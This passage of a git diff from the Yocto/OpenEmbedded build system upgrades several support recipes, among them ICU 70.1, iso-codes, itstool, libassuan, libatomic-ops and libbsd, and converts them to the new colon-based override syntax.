- cp -r ${B}/config/icucross.inc ${D}/${STAGING_ICU_DIR_NATIVE}/config
- cp -r ${B}/lib ${D}/${STAGING_ICU_DIR_NATIVE}
- cp -r ${B}/bin ${D}/${STAGING_ICU_DIR_NATIVE}
- cp -r ${B}/tools ${D}/${STAGING_ICU_DIR_NATIVE}
-}
-
-do_install_append_class-target() {
- # The native pkgdata can not generate the correct data file.
- # Use icupkg to re-generate it.
- if [ "${SITEINFO_ENDIANNESS}" = "be" ] ; then
- rm -f ${D}/${datadir}/${BPN}/${PV}/icudt${ICU_MAJOR_VER}b.dat
- icupkg -tb ${S}/data/in/icudt${ICU_MAJOR_VER}l.dat ${D}/${datadir}/${BPN}/${PV}/icudt${ICU_MAJOR_VER}b.dat
- fi
-
- # Remove build host references...
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- ${D}/${bindir}/icu-config ${D}/${libdir}/${BPN}/${PV}/Makefile.inc \
- ${D}/${libdir}/${BPN}/${PV}/pkgdata.inc
-}
-
-PACKAGES =+ "libicudata libicuuc libicui18n libicutu libicuio"
-
-FILES_${PN}-dev += "${libdir}/${BPN}/"
-
-FILES_libicudata = "${libdir}/libicudata.so.*"
-FILES_libicuuc = "${libdir}/libicuuc.so.*"
-FILES_libicui18n = "${libdir}/libicui18n.so.*"
-FILES_libicutu = "${libdir}/libicutu.so.*"
-FILES_libicuio = "${libdir}/libicuio.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
-
-LIC_FILES_CHKSUM = "file://../LICENSE;md5=002d2fdc32d17f0ec06e9a47f2c0c8d0"
-
-def icu_download_version(d):
- pvsplit = d.getVar('PV').split('.')
- return pvsplit[0] + "_" + pvsplit[1]
-
-def icu_download_folder(d):
- pvsplit = d.getVar('PV').split('.')
- return pvsplit[0] + "-" + pvsplit[1]
-
-ICU_PV = "${@icu_download_version(d)}"
-ICU_FOLDER = "${@icu_download_folder(d)}"
-
-# http://errors.yoctoproject.org/Errors/Details/20486/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-
-BASE_SRC_URI = "https://github.com/unicode-org/icu/releases/download/release-${ICU_FOLDER}/icu4c-${ICU_PV}-src.tgz"
-DATA_SRC_URI = "https://github.com/unicode-org/icu/releases/download/release-${ICU_FOLDER}/icu4c-${ICU_PV}-data.zip"
-SRC_URI = "${BASE_SRC_URI};name=code \
- ${DATA_SRC_URI};name=data \
- file://filter.json \
- file://fix-install-manx.patch \
- file://0001-icu-Added-armeb-support.patch \
- "
-
-SRC_URI_append_class-target = "\
- file://0001-Disable-LDFLAGSICUDT-for-Linux.patch \
- "
-SRC_URI[code.sha256sum] = "a9f2e3d8b4434b8e53878b4308bd1e6ee51c9c7042e2b1a376abefb6fbb29f2d"
-SRC_URI[data.sha256sum] = "03ea8b4694155620548c8c0ba20444f1e7db246cc79e3b9c4fc7a960b160d510"
-
-UPSTREAM_CHECK_REGEX = "icu4c-(?P<pver>\d+(_\d+)+)-src"
-UPSTREAM_CHECK_URI = "https://github.com/unicode-org/icu/releases"
-
-EXTRA_OECONF_append_libc-musl = " ac_cv_func_strtod_l=no"
-
-PACKAGECONFIG ?= ""
-PACKAGECONFIG[make-icudata] = ",,,"
-
-do_make_icudata_class-target () {
- ${@bb.utils.contains('PACKAGECONFIG', 'make-icudata', '', 'exit 0', d)}
- cd ${S}
- rm -rf data
- cp -a ${WORKDIR}/data .
- AR='${BUILD_AR}' \
- CC='${BUILD_CC}' \
- CPP='${BUILD_CPP}' \
- CXX='${BUILD_CXX}' \
- RANLIB='${BUILD_RANLIB}' \
- CFLAGS='${BUILD_CFLAGS}' \
- CPPFLAGS='${BUILD_CPPFLAGS}' \
- CXXFLAGS='${BUILD_CXXFLAGS}' \
- LDFLAGS='${BUILD_LDFLAGS}' \
- ICU_DATA_FILTER_FILE=${WORKDIR}/filter.json \
- ./runConfigureICU Linux --with-data-packaging=archive
- oe_runmake
- install -Dm644 ${S}/data/out/icudt${ICU_MAJOR_VER}l.dat ${S}/data/in/icudt${ICU_MAJOR_VER}l.dat
-}
-
-do_make_icudata() {
- :
-}
-
-addtask make_icudata before do_configure after do_patch
diff --git a/meta/recipes-support/icu/icu_70.1.bb b/meta/recipes-support/icu/icu_70.1.bb
new file mode 100644
index 0000000000..0988ae8b8e
--- /dev/null
+++ b/meta/recipes-support/icu/icu_70.1.bb
@@ -0,0 +1,150 @@
+SUMMARY = "International Component for Unicode libraries"
+DESCRIPTION = "The International Component for Unicode (ICU) is a mature, \
+portable set of C/C++ and Java libraries for Unicode support, software \
+internationalization (I18N) and globalization (G11N), giving applications the \
+same results on all platforms."
+HOMEPAGE = "http://site.icu-project.org/"
+
+LICENSE = "ICU"
+DEPENDS = "icu-native autoconf-archive"
+DEPENDS:class-native = "autoconf-archive-native"
+
+CVE_PRODUCT = "international_components_for_unicode"
+
+S = "${WORKDIR}/icu/source"
+SPDX_S = "${WORKDIR}/icu"
+STAGING_ICU_DIR_NATIVE = "${STAGING_DATADIR_NATIVE}/${BPN}/${PV}"
+
+BINCONFIG = "${bindir}/icu-config"
+
+ICU_MAJOR_VER = "${@d.getVar('PV').split('.')[0]}"
+
+inherit autotools pkgconfig binconfig multilib_script
+
+MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/icu-config"
+
+# ICU needs the native build directory as an argument to its --with-cross-build option when
+# cross-compiling. Taken the situation that different builds may share a common sstate-cache
+# into consideration, the native build directory needs to be staged.
+EXTRA_OECONF = "--with-cross-build=${STAGING_ICU_DIR_NATIVE}"
+EXTRA_OECONF:class-native = ""
+EXTRA_OECONF:class-nativesdk = "--with-cross-build=${STAGING_ICU_DIR_NATIVE}"
+
+EXTRA_OECONF:append:class-target = "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'be', ' --with-data-packaging=archive', '', d)}"
+TARGET_CXXFLAGS:append = "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'be', ' -DICU_DATA_DIR=\\""${datadir}/${BPN}/${PV}\\""', '', d)}"
+
+ASNEEDED = ""
+
+do_compile:prepend:class-target () {
+ # Make sure certain build host references do not end up being compiled
+ # in the image. This only affects libicutu and icu-dbg
+ sed \
+ -e 's,DU_BUILD=,DU_BUILD_unused=,g' \
+ -e '/^CPPFLAGS.*/ s,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -i ${B}/tools/toolutil/Makefile
+}
+
+PREPROCESS_RELOCATE_DIRS = "${datadir}/${BPN}/${PV}"
+do_install:append:class-native() {
+ mkdir -p ${D}/${STAGING_ICU_DIR_NATIVE}/config
+ cp -r ${B}/config/icucross.mk ${D}/${STAGING_ICU_DIR_NATIVE}/config
+ cp -r ${B}/config/icucross.inc ${D}/${STAGING_ICU_DIR_NATIVE}/config
+ cp -r ${B}/lib ${D}/${STAGING_ICU_DIR_NATIVE}
+ cp -r ${B}/bin ${D}/${STAGING_ICU_DIR_NATIVE}
+ cp -r ${B}/tools ${D}/${STAGING_ICU_DIR_NATIVE}
+}
+
+do_install:append:class-target() {
+ # The native pkgdata can not generate the correct data file.
+ # Use icupkg to re-generate it.
+ if [ "${SITEINFO_ENDIANNESS}" = "be" ] ; then
+ rm -f ${D}/${datadir}/${BPN}/${PV}/icudt${ICU_MAJOR_VER}b.dat
+ icupkg -tb ${S}/data/in/icudt${ICU_MAJOR_VER}l.dat ${D}/${datadir}/${BPN}/${PV}/icudt${ICU_MAJOR_VER}b.dat
+ fi
+
+ # Remove build host references...
+ sed -i \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ ${D}/${bindir}/icu-config ${D}/${libdir}/${BPN}/${PV}/Makefile.inc \
+ ${D}/${libdir}/${BPN}/${PV}/pkgdata.inc
+}
+
+PACKAGES =+ "libicudata libicuuc libicui18n libicutu libicuio"
+
+FILES:${PN}-dev += "${libdir}/${BPN}/"
+
+FILES:libicudata = "${libdir}/libicudata.so.*"
+FILES:libicuuc = "${libdir}/libicuuc.so.*"
+FILES:libicui18n = "${libdir}/libicui18n.so.*"
+FILES:libicutu = "${libdir}/libicutu.so.*"
+FILES:libicuio = "${libdir}/libicuio.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
+
+LIC_FILES_CHKSUM = "file://../LICENSE;md5=dc9d616e558490c389609a0e8b81ae6d"
+
+def icu_download_version(d):
+ pvsplit = d.getVar('PV').split('.')
+ return pvsplit[0] + "_" + pvsplit[1]
+
+def icu_download_folder(d):
+ pvsplit = d.getVar('PV').split('.')
+ return pvsplit[0] + "-" + pvsplit[1]
+
+ICU_PV = "${@icu_download_version(d)}"
+ICU_FOLDER = "${@icu_download_folder(d)}"
+
+# http://errors.yoctoproject.org/Errors/Details/20486/
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+
+BASE_SRC_URI = "https://github.com/unicode-org/icu/releases/download/release-${ICU_FOLDER}/icu4c-${ICU_PV}-src.tgz"
+DATA_SRC_URI = "https://github.com/unicode-org/icu/releases/download/release-${ICU_FOLDER}/icu4c-${ICU_PV}-data.zip"
+SRC_URI = "${BASE_SRC_URI};name=code \
+ ${DATA_SRC_URI};name=data \
+ file://filter.json \
+ file://fix-install-manx.patch \
+ file://0001-icu-Added-armeb-support.patch \
+ "
+
+SRC_URI:append:class-target = "\
+ file://0001-Disable-LDFLAGSICUDT-for-Linux.patch \
+ "
+SRC_URI[code.sha256sum] = "8d205428c17bf13bb535300669ed28b338a157b1c01ae66d31d0d3e2d47c3fd5"
+SRC_URI[data.sha256sum] = "c72723ddba3300ffb231d6b09e2a728ea6e89de10ed5927f74bacbd77042336e"
+
+UPSTREAM_CHECK_REGEX = "icu4c-(?P<pver>\d+(_\d+)+)-src"
+UPSTREAM_CHECK_URI = "https://github.com/unicode-org/icu/releases"
+
+EXTRA_OECONF:append:libc-musl = " ac_cv_func_strtod_l=no"
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG[make-icudata] = ",,,"
+
+do_make_icudata:class-target () {
+ ${@bb.utils.contains('PACKAGECONFIG', 'make-icudata', '', 'exit 0', d)}
+ cd ${S}
+ rm -rf data
+ cp -a ${WORKDIR}/data .
+ AR='${BUILD_AR}' \
+ CC='${BUILD_CC}' \
+ CPP='${BUILD_CPP}' \
+ CXX='${BUILD_CXX}' \
+ RANLIB='${BUILD_RANLIB}' \
+ CFLAGS='${BUILD_CFLAGS}' \
+ CPPFLAGS='${BUILD_CPPFLAGS}' \
+ CXXFLAGS='${BUILD_CXXFLAGS}' \
+ LDFLAGS='${BUILD_LDFLAGS}' \
+ ICU_DATA_FILTER_FILE=${WORKDIR}/filter.json \
+ ./runConfigureICU Linux --with-data-packaging=archive
+ oe_runmake
+ install -Dm644 ${S}/data/out/icudt${ICU_MAJOR_VER}l.dat ${S}/data/in/icudt${ICU_MAJOR_VER}l.dat
+}
+
+do_make_icudata() {
+ :
+}
+
+addtask make_icudata before do_configure after do_patch
diff --git a/meta/recipes-support/iso-codes/iso-codes_4.5.0.bb b/meta/recipes-support/iso-codes/iso-codes_4.5.0.bb
deleted file mode 100644
index 9d02f5c794..0000000000
--- a/meta/recipes-support/iso-codes/iso-codes_4.5.0.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "ISO language, territory, currency, script codes and their translations"
-HOMEPAGE = "https://salsa.debian.org/iso-codes-team/iso-codes"
-BUGTRACKER = "https://salsa.debian.org/iso-codes-team/iso-codes/issues"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "git://salsa.debian.org/iso-codes-team/iso-codes.git;protocol=http;branch=main;"
-SRCREV = "a36019e5014bff251f83d522ddcfebaecf52afd3"
-
-# inherit gettext cannot be used, because it adds gettext-native to BASEDEPENDS which
-# are inhibited by allarch
-DEPENDS = "gettext-native"
-
-S = "${WORKDIR}/git"
-
-inherit allarch autotools
-
-FILES_${PN} += "${datadir}/xml/"
diff --git a/meta/recipes-support/iso-codes/iso-codes_4.8.0.bb b/meta/recipes-support/iso-codes/iso-codes_4.8.0.bb
new file mode 100644
index 0000000000..2f3f589e7c
--- /dev/null
+++ b/meta/recipes-support/iso-codes/iso-codes_4.8.0.bb
@@ -0,0 +1,22 @@
+SUMMARY = "ISO language, territory, currency, script codes and their translations"
+DESCRIPTION = "Provides lists of various ISO standards (e.g. country, \
+language, language scripts, and currency names) in one place, rather \
+than repeated in many programs throughout the system."
+HOMEPAGE = "https://salsa.debian.org/iso-codes-team/iso-codes"
+BUGTRACKER = "https://salsa.debian.org/iso-codes-team/iso-codes/issues"
+
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "git://salsa.debian.org/iso-codes-team/iso-codes.git;protocol=https;branch=main;"
+SRCREV = "5d0a5515f26b3858e27939c8f9a732d8bd4271ab"
+
+# inherit gettext cannot be used, because it adds gettext-native to BASEDEPENDS which
+# are inhibited by allarch
+DEPENDS = "gettext-native"
+
+S = "${WORKDIR}/git"
+
+inherit allarch autotools
+
+FILES:${PN} += "${datadir}/xml/"
diff --git a/meta/recipes-support/itstool/itstool/0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch b/meta/recipes-support/itstool/itstool/0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch
index 19a858bd75..fdcbe46fed 100644
--- a/meta/recipes-support/itstool/itstool/0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch
+++ b/meta/recipes-support/itstool/itstool/0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch
@@ -1,4 +1,4 @@
-From 335ef14fc801c9dfbe7e5692dc71cfbe72049d2b Mon Sep 17 00:00:00 2001
+From c47820450ce7f55d22c672cf94d20a5f9fd208bf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@gmail.com>
Date: Sun, 27 Oct 2019 16:38:52 +0100
Subject: [PATCH] Native: Don't use build time hardcoded python binary path.
@@ -16,12 +16,13 @@ don't support it [2]
Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Andreas Müller <schnitzeltony@gmail.com>
+
---
itstool.in | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/itstool.in b/itstool.in
-index e64cd34..05d264f 100755
+index c21ad4b..daea177 100755
--- a/itstool.in
+++ b/itstool.in
@@ -1,4 +1,4 @@
@@ -30,6 +31,3 @@ index e64cd34..05d264f 100755
#
# Copyright (c) 2010-2018 Shaun McCance <shaunm@gnome.org>
#
---
-2.21.0
-
diff --git a/meta/recipes-support/itstool/itstool_2.0.6.bb b/meta/recipes-support/itstool/itstool_2.0.6.bb
deleted file mode 100644
index 5f358f463d..0000000000
--- a/meta/recipes-support/itstool/itstool_2.0.6.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "ITS Tool allows you to translate your XML documents with PO files"
-HOMEPAGE = "http://itstool.org/"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59c57b95fd7d0e9e238ebbc7ad47c5a5"
-
-inherit autotools python3native
-
-DEPENDS = "libxml2-native"
-
-SRC_URI = "http://files.itstool.org/${BPN}/${BPN}-${PV}.tar.bz2"
-SRC_URI_append_class-native = " file://0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch"
-SRC_URI_append_class-nativesdk = " file://0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch"
-SRC_URI_append_class-target = " file://0002-Don-t-use-build-time-hardcoded-python-binary-path.patch"
-
-SRC_URI[md5sum] = "4306eeba4f4aee6b393d14f9c3c57ca1"
-SRC_URI[sha256sum] = "6233cc22726a9a5a83664bf67d1af79549a298c23185d926c3677afa917b92a9"
-
-BBCLASSEXTEND = "native nativesdk"
-
-RDEPENDS_${PN} += "libxml2-python"
-RDEPENDS_${PN}_class-native = ""
diff --git a/meta/recipes-support/itstool/itstool_2.0.7.bb b/meta/recipes-support/itstool/itstool_2.0.7.bb
new file mode 100644
index 0000000000..2416835d37
--- /dev/null
+++ b/meta/recipes-support/itstool/itstool_2.0.7.bb
@@ -0,0 +1,24 @@
+SUMMARY = "ITS Tool allows you to translate your XML documents with PO files"
+DESCRIPTION = "It extracts messages from XML files and outputs PO template \
+files, then merges translations from MO files to create translated \
+XML files. It determines what to translate and how to chunk it into \
+messages using the W3C Internationalization Tag Set (ITS). "
+HOMEPAGE = "http://itstool.org/"
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59c57b95fd7d0e9e238ebbc7ad47c5a5"
+
+inherit autotools python3native
+
+DEPENDS = "libxml2-native"
+
+SRC_URI = "http://files.itstool.org/${BPN}/${BPN}-${PV}.tar.bz2 \
+ "
+SRC_URI:append:class-native = " file://0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch"
+SRC_URI:append:class-nativesdk = " file://0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch"
+SRC_URI:append:class-target = " file://0002-Don-t-use-build-time-hardcoded-python-binary-path.patch"
+
+SRC_URI[sha256sum] = "6b9a7cd29a12bb95598f5750e8763cee78836a1a207f85b74d8b3275b27e87ca"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += "libxml2-python"
diff --git a/meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch b/meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch
index 0e81454c63..fe811254d3 100644
--- a/meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch
+++ b/meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch
@@ -8,17 +8,20 @@ Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
forward ported to 2.4.4
Signed-off-by: Armin Kuster <akuster@mvista.com>
+---
+ src/libassuan.m4 | 81 ++----------------------------------------------
+ 1 file changed, 3 insertions(+), 78 deletions(-)
-Index: libassuan-2.5.2/src/libassuan.m4
-===================================================================
---- libassuan-2.5.2.orig/src/libassuan.m4
-+++ libassuan-2.5.2/src/libassuan.m4
-@@ -16,27 +16,6 @@ dnl Returns ok set to yes or no.
+diff --git a/src/libassuan.m4 b/src/libassuan.m4
+index df50484..380a48a 100644
+--- a/src/libassuan.m4
++++ b/src/libassuan.m4
+@@ -17,27 +17,6 @@ dnl Returns ok set to yes or no.
dnl
AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
[ AC_REQUIRE([AC_CANONICAL_HOST])
- AC_ARG_WITH(libassuan-prefix,
-- AC_HELP_STRING([--with-libassuan-prefix=PFX],
+- AS_HELP_STRING([--with-libassuan-prefix=PFX],
- [prefix where LIBASSUAN is installed (optional)]),
- libassuan_config_prefix="$withval", libassuan_config_prefix="")
- if test x$libassuan_config_prefix != x ; then
@@ -41,10 +44,11 @@ Index: libassuan-2.5.2/src/libassuan.m4
tmp=ifelse([$1], ,1:0.9.2,$1)
if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
-@@ -47,58 +26,11 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+@@ -47,59 +26,11 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+ req_libassuan_api=0
min_libassuan_version="$tmp"
fi
-
+-
- AC_MSG_CHECKING(for LIBASSUAN - version >= $min_libassuan_version)
- ok=no
- if test "$LIBASSUAN_CONFIG" != "no"; then
@@ -102,7 +106,7 @@ Index: libassuan-2.5.2/src/libassuan.m4
if test "$tmp" -gt 0 ; then
AC_MSG_CHECKING([LIBASSUAN API version])
if test "$req_libassuan_api" -eq "$tmp" ; then
-@@ -114,9 +46,7 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+@@ -115,9 +46,7 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
if test $ok = yes; then
if test x"$host" != x ; then
if test -z "$use_gpgrt_config"; then
@@ -113,7 +117,7 @@ Index: libassuan-2.5.2/src/libassuan.m4
fi
if test x"$libassuan_config_host" != xnone ; then
if test x"$libassuan_config_host" != x"$host" ; then
-@@ -158,12 +88,8 @@ dnl
+@@ -159,12 +88,8 @@ dnl
AC_DEFUN([AM_PATH_LIBASSUAN],
[ _AM_PATH_LIBASSUAN_COMMON($1)
if test $ok = yes; then
@@ -126,3 +130,6 @@ Index: libassuan-2.5.2/src/libassuan.m4
ifelse([$3], , :, [$3])
fi
AC_SUBST(LIBASSUAN_CFLAGS)
+--
+2.25.1
+
diff --git a/meta/recipes-support/libassuan/libassuan_2.5.4.bb b/meta/recipes-support/libassuan/libassuan_2.5.4.bb
deleted file mode 100644
index e83f571183..0000000000
--- a/meta/recipes-support/libassuan/libassuan_2.5.4.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "IPC library used by GnuPG and GPGME"
-HOMEPAGE = "http://www.gnupg.org/related_software/libassuan/"
-BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
-
-LICENSE = "GPLv3+ & LGPLv2.1+"
-LICENSE_${PN} = "LGPLv2.1+"
-LICENSE_${PN}-doc = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949 \
- file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
- file://src/assuan.c;endline=20;md5=ab92143a5a2adabd06d7994d1467ea5c\
- file://src/assuan-defs.h;endline=20;md5=15d950c83e82978e35b35e790d7e4d39"
-
-DEPENDS = "libgpg-error"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/libassuan/libassuan-${PV}.tar.bz2 \
- file://libassuan-add-pkgconfig-support.patch \
- "
-
-SRC_URI[sha256sum] = "c080ee96b3bd519edd696cfcebdecf19a3952189178db9887be713ccbcb5fbf0"
-
-BINCONFIG = "${bindir}/libassuan-config"
-
-inherit autotools texinfo binconfig-disabled pkgconfig multilib_header
-
-do_configure_prepend () {
- # Else these could be used in preference to those in aclocal-copy
- rm -f ${S}/m4/*.m4
-}
-
-do_install_append () {
- oe_multilib_header assuan.h
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libassuan/libassuan_2.5.5.bb b/meta/recipes-support/libassuan/libassuan_2.5.5.bb
new file mode 100644
index 0000000000..2d78911c65
--- /dev/null
+++ b/meta/recipes-support/libassuan/libassuan_2.5.5.bb
@@ -0,0 +1,38 @@
+SUMMARY = "IPC library used by GnuPG and GPGME"
+DESCRIPTION = "A small library implementing the so-called Assuan protocol. \
+This protocol is used for IPC between most newer GnuPG components. \
+Both, server and client side functions are provided. "
+HOMEPAGE = "http://www.gnupg.org/related_software/libassuan/"
+BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
+
+LICENSE = "GPLv3+ & LGPLv2.1+"
+LICENSE:${PN} = "LGPLv2.1+"
+LICENSE:${PN}-doc = "GPLv3+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949 \
+ file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
+ file://src/assuan.c;endline=20;md5=ab92143a5a2adabd06d7994d1467ea5c\
+ file://src/assuan-defs.h;endline=20;md5=15d950c83e82978e35b35e790d7e4d39"
+
+DEPENDS = "libgpg-error"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/libassuan/libassuan-${PV}.tar.bz2 \
+ file://libassuan-add-pkgconfig-support.patch \
+ "
+
+SRC_URI[sha256sum] = "8e8c2fcc982f9ca67dcbb1d95e2dc746b1739a4668bc20b3a3c5be632edb34e4"
+
+BINCONFIG = "${bindir}/libassuan-config"
+
+inherit autotools texinfo binconfig-disabled pkgconfig multilib_header
+
+do_configure:prepend () {
+ # Else these could be used in preference to those in aclocal-copy
+ rm -f ${S}/m4/*.m4
+}
+
+do_install:append () {
+ oe_multilib_header assuan.h
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.10.bb b/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.10.bb
deleted file mode 100644
index 7628eedb1b..0000000000
--- a/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.10.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "A library for atomic integer operations"
-HOMEPAGE = "https://github.com/ivmai/libatomic_ops/"
-SECTION = "optional"
-PROVIDES += "libatomics-ops"
-LICENSE = "GPLv2 & MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://doc/LICENSING.txt;md5=e00dd5c8ac03a14c5ae5225a4525fa2d \
- "
-
-SRC_URI = "https://github.com/ivmai/libatomic_ops/releases/download/v${PV}/libatomic_ops-${PV}.tar.gz"
-UPSTREAM_CHECK_URI = "https://github.com/ivmai/libatomic_ops/releases"
-
-SRC_URI[md5sum] = "90a78a84d9c28ce11f331c25289bfbd0"
-SRC_URI[sha256sum] = "587edf60817f56daf1e1ab38a4b3c729b8e846ff67b4f62a6157183708f099af"
-
-S = "${WORKDIR}/libatomic_ops-${PV}"
-
-ALLOW_EMPTY_${PN} = "1"
-
-inherit autotools pkgconfig
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.12.bb b/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.12.bb
new file mode 100644
index 0000000000..d7aecc706c
--- /dev/null
+++ b/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.12.bb
@@ -0,0 +1,22 @@
+SUMMARY = "A library for atomic integer operations"
+DESCRIPTION = "Package provides semi-portable access to hardware-provided atomic memory update operations on a number of architectures."
+HOMEPAGE = "https://github.com/ivmai/libatomic_ops/"
+SECTION = "optional"
+PROVIDES += "libatomics-ops"
+LICENSE = "GPLv2 & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://doc/LICENSING.txt;md5=e00dd5c8ac03a14c5ae5225a4525fa2d \
+ "
+
+SRC_URI = "https://github.com/ivmai/libatomic_ops/releases/download/v${PV}/libatomic_ops-${PV}.tar.gz"
+UPSTREAM_CHECK_URI = "https://github.com/ivmai/libatomic_ops/releases"
+
+SRC_URI[sha256sum] = "f0ab566e25fce08b560e1feab6a3db01db4a38e5bc687804334ef3920c549f3e"
+
+S = "${WORKDIR}/libatomic_ops-${PV}"
+
+ALLOW_EMPTY:${PN} = "1"
+
+inherit autotools pkgconfig
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libbsd/libbsd_0.10.0.bb b/meta/recipes-support/libbsd/libbsd_0.10.0.bb
deleted file mode 100644
index 5b32b9af41..0000000000
--- a/meta/recipes-support/libbsd/libbsd_0.10.0.bb
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2013 Khem Raj <raj.khem@gmail.com>
-# Released under the MIT license (see COPYING.MIT for the terms)
-
-SUMMARY = "Library of utility functions from BSD systems"
-DESCRIPTION = "This library provides useful functions commonly found on BSD systems, \
- and lacking on others like GNU systems, thus making it easier to port \
- projects with strong BSD origins, without needing to embed the same \
- code over and over again on each project."
-
-HOMEPAGE = "https://libbsd.freedesktop.org/wiki/"
-# There seems to be more licenses used in the code, I don't think we want to list them all here, complete list:
-# OE @ ~/projects/libbsd $ grep ^License: COPYING | sort -u
-# License: BSD-2-clause
-# License: BSD-2-clause-NetBSD
-# License: BSD-2-clause-author
-# License: BSD-2-clause-verbatim
-# License: BSD-3-clause
-# License: BSD-3-clause-author
-# License: BSD-3-clause-John-Birrell
-# License: BSD-3-clause-Regents
-# License: BSD-4-clause-Christopher-G-Demetriou
-# License: BSD-4-clause-Niels-Provos
-# License: BSD-5-clause-Peter-Wemm
-# License: Beerware
-# License: Expat
-# License: ISC
-# License: ISC-Original
-# License: public-domain
-# License: public-domain-Colin-Plumb
-LICENSE = "BSD-3-Clause & BSD-4-Clause & ISC & PD"
-LICENSE_${PN} = "BSD-3-Clause & ISC & PD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2120be0173469a06ed185b688e0e1ae0"
-SECTION = "libs"
-
-SRC_URI = "https://libbsd.freedesktop.org/releases/${BPN}-${PV}.tar.xz"
-
-SRC_URI[md5sum] = "ead96d240d02faa5b921c0aa50c812b5"
-SRC_URI[sha256sum] = "34b8adc726883d0e85b3118fa13605e179a62b31ba51f676136ecb2d0bc1a887"
-
-inherit autotools pkgconfig
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libbsd/libbsd_0.11.3.bb b/meta/recipes-support/libbsd/libbsd_0.11.3.bb
new file mode 100644
index 0000000000..8daea9f762
--- /dev/null
+++ b/meta/recipes-support/libbsd/libbsd_0.11.3.bb
@@ -0,0 +1,43 @@
+# Copyright (C) 2013 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "Library of utility functions from BSD systems"
+DESCRIPTION = "This library provides useful functions commonly found on BSD systems, \
+ and lacking on others like GNU systems, thus making it easier to port \
+ projects with strong BSD origins, without needing to embed the same \
+ code over and over again on each project."
+
+HOMEPAGE = "https://libbsd.freedesktop.org/wiki/"
+# There seems to be more licenses used in the code, I don't think we want to list them all here, complete list:
+# OE @ ~/projects/libbsd $ grep ^License: COPYING | sort -u
